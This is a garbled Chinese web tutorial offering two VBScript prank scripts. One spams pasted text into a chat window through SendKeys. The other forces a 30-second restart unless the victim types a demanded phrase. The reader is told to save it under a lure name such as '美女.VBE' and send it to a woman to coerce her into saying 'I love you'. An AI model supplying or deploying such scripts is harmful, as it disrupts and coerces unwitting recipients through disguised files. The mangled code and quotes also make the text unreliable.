On Error Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wshsendKeys quot%squotnext wscript。
on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 30 c quotquot说我是帅哥，不说我是帅哥就半分钟关你机，不信，试试？ quotquot quot。
把上面的代码复制到记事本里，把后缀名改成VBE不要自己实验，有时会被杀毒的拦截 若把下列内容从中删掉，则对方无论如何都要重启了30秒，时间可自己改，包括说的内容dim WSHshell set WSHshell = wscript。
上面的文字可以随便改，不印象效果如果发给MM，你可以逼她说“我爱你”方法是把上面的“客是好网站”改成“快说我爱你” 内容来自 第二步，将记事本文件重命名为 ***VBE文件名可以任意起，如“美女VBE”。